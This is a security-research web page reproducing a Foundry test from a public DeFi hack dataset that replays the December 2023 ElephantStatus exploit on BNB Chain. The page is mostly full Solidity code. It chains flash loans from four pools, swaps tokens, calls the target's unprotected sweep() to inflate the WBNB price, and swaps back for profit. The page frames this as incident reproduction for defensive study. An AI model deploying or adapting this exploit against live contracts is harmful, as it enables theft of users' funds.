Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/ElephantStatus_exp.sol

Public reproduction file for dataset entry ElephantStatus.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/ElephantStatus_exp.sol110 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~165K USD$
8// Attacker : https://bscscan.com/address/0xbbcc139933d1580e7c40442e09263e90e6f1d66d
9// Attack Contract : https://bscscan.com/address/0x69bd13f775505989883768ebd23d528c708d6bcf
10// Vulnerable Contract : https://bscscan.com/address/0x8cf0a553ab3896e4832ebcc519a7a60828ab5740
11// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0xd423ae0e95e9d6c8a89dcfed243573867e4aad29ee99a9055728cbbe0a523439
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1732354930529435940
16interface IElephantStatus {
17 function sweep() external;
20contract ContractTest is Test {
21 Uni_Pair_V3 private constant USDC_BUSD = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6);
22 Uni_Pair_V3 private constant BUSDT_BUSD = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
23 Uni_Pair_V3 private constant WBNB_BUSD = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);
24 Uni_Pair_V3 private constant BTCB_BUSD = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523);
25 Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
26 IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
27 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
28 IElephantStatus private constant Elephant = IElephantStatus(0x8Cf0A553aB3896e4832ebCC519a7A60828AB5740);
30 function setUp() public {
31 vm.createSelectFork("bsc", 34_114_760);
32 vm.label(address(USDC_BUSD), "USDC_BUSD");
33 vm.label(address(BUSDT_BUSD), "BUSDT_BUSD");
34 vm.label(address(WBNB_BUSD), "WBNB_BUSD");
35 vm.label(address(BTCB_BUSD), "BTCB_BUSD");
36 vm.label(address(PancakeRouter), "PancakeRouter");
37 vm.label(address(BUSD), "BUSD");
38 vm.label(address(WBNB), "WBNB");
39 vm.label(address(Elephant), "Elephant");
40 }
42 function testExploit() public {
43 emit log_named_decimal_uint(
44 "Exploiter BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals()
45 );
47 USDC_BUSD.flash(
48 address(this),
49 0,
50 BUSD.balanceOf(address(USDC_BUSD)),
51 abi.encode(uint8(0), BUSD.balanceOf(address(USDC_BUSD)))
52 );
54 emit log_named_decimal_uint(
55 "Exploiter BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals()
56 );
57 }
59 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
60 uint8 num;
61 uint256 amount;
62 (num, amount) = abi.decode(data, (uint8, uint256));
63 if (num == uint8(0)) {
64 BUSDT_BUSD.flash(
65 address(this),
66 0,
67 BUSD.balanceOf(address(BUSDT_BUSD)),
68 abi.encode(uint8(1), BUSD.balanceOf(address(BUSDT_BUSD)))
69 );
70 } else if (num == uint8(1)) {
71 WBNB_BUSD.flash(
72 address(this),
73 0,
74 BUSD.balanceOf(address(WBNB_BUSD)),
75 abi.encode(uint8(2), BUSD.balanceOf(address(WBNB_BUSD)))
76 );
77 } else if (num == uint8(2)) {
78 BTCB_BUSD.flash(
79 address(this),
80 0,
81 BUSD.balanceOf(address(BTCB_BUSD)),
82 abi.encode(uint8(3), BUSD.balanceOf(address(BTCB_BUSD)))
83 );
84 } else {
85 BUSD.approve(address(PancakeRouter), type(uint256).max);
86 WBNB.approve(address(PancakeRouter), type(uint256).max);
87 BUSDToWBNB();
88 // Unprotected function here. Call to sweep will rise WBNB price
89 Elephant.sweep();
90 WBNBToBUSD();
91 }
92 BUSD.transfer(msg.sender, amount + fee1);
93 }
95 function BUSDToWBNB() internal {
96 address[] memory path = new address[](2);
97 path[0] = address(BUSD);
98 path[1] = address(WBNB);
99 PancakeRouter.swapExactTokensForTokens(BUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp);
100 }
102 function WBNBToBUSD() internal {
103 address[] memory path = new address[](2);
104 path[0] = address(WBNB);
105 path[1] = address(BUSD);
106 PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
107 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
108 );
109 }

Analysis

Dataset entry

Public Foundry test for “ElephantStatus” (2023-12-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xbbcc139933d1580e7c40442e09263e90e6f1d66d

  • Attack Contract

    0x69bd13f775505989883768ebd23d528c708d6bcf

  • Vulnerable Contract

    0x8cf0a553ab3896e4832ebcc519a7a60828ab5740

  • Attack Tx

    0xd423ae0e95e9d6c8a89dcfed243573867e4aad29ee99a9055728cbbe0a523439

File record

Name
ElephantStatus
Path
src/test/2023-12/ElephantStatus_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
db1ce15cd29e76edacd458e2eddcf72b08c6a239
Language
Solidity
Size
111 lines
Date
2023-12-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/ElephantStatus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob db1ce15cd29e76edacd458e2eddcf72b08c6a239, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.